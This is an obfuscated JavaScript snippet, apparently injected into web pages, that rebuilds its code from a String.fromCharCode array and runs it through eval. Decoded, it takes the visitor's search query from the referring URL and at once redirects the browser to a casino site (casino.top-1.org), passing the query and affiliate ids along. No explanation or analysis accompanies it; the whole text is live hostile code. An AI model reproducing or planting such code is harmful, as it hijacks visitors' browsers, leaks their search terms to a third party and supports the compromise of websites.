result= String.fromCharCode(118,97,114,32,106,115,80,97,103,101,61,32,39,102,114,101,101,32,112,111,107,101,114,39,59,13,10,9,118,97,114,32,114,44,32,112,44,32,116,44,32,113,44,32,118,59,13,10,9,97,100,114,61,32,32,39,104,116,116,112,58,47,47,99,97,115,105,110,111,46,116,111,112,45,49,46,111,114,103,39,59,13,10,9,112,97,116,104,61,32,39,47,39,59,13,10,9,97,105,100,61,32,32,39,54,53,51,56,52,39,59,13,10,9,115,97,105,100,61,32,39,53,52,39,59,13,10,9,105,102,40,33,115,97,105,100,41,32,115,97,105,100,61,32,108,111,99,97,116,105,111,110,46,104,111,115,116,110,97,109,101,59,13,10,9,113,61,32,39,39,59,13,10,9,114,61,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,59,13,10,9,112,61,32,114,46,115,112,108,105,116,40,39,63,39,41,59,13,10,9,105,102,40,112,46,108,101,110,103,116,104,62,32,48,41,13,10,9,123,13,10,9,9,116,61,32,112,91,112,46,108,101,110,103,116,104,45,32,49,93,46,115,112,108,105,116,40,39,38,39,41,59,13,10,9,9,102,111,114,40,105,61,32,48,59,32,105,60,32,116,46,108,101,110,103,116,104,59,32,105,43,43,41,13,10,9,9,123,13,10,9,9,9,118,61,32,116,91,105,93,46,115,112,108,105,116,40,39,61,39,41,59,13,10,9,9,9,105,102,40,118,91,48,93,61,61,32,39,112,39,32,124,124,32,118,91,48,93,61,61,32,39,113,39,32,124,124,32,118,91,48,93,61,61,32,39,113,113,39,32,124,124,32,118,91,48,93,61,61,32,39,113,117,101,114,121,39,41,13,10,9,9,9,123,13,10,9,9,9,9,113,61,32,117,110,101,115,99,97,112,101,40,118,91,49,93,41,59,13,10,9,9,9,125,13,10,9,9,125,13,10,9,125,13,10,9,105,102,40,113,61,61,32,39,39,41,123,32,113,61,32,106,115,80,97,103,101,59,125,13,10,9,115,116,61,32,97,100,114,43,32,112,97,116,104,43,32,39,63,113,61,39,43,32,113,43,32,39,38,115,97,105,100,61,39,43,32,115,97,105,100,43,32,39,38,97,105,100,61,39,43,32,97,105,100,59,13,10,13,10,9,102,117,110,99,116,105,111,110,32,102,40,41,123,32,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,32,115,116,59,125,13,10,9,119,105,110,100,111,119,46,111,110,70,111,99,117,115,61,32,102,40,41,59,13,10,13,10,47,47,9,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,115,116,41,59,13,10,9);
eval(result);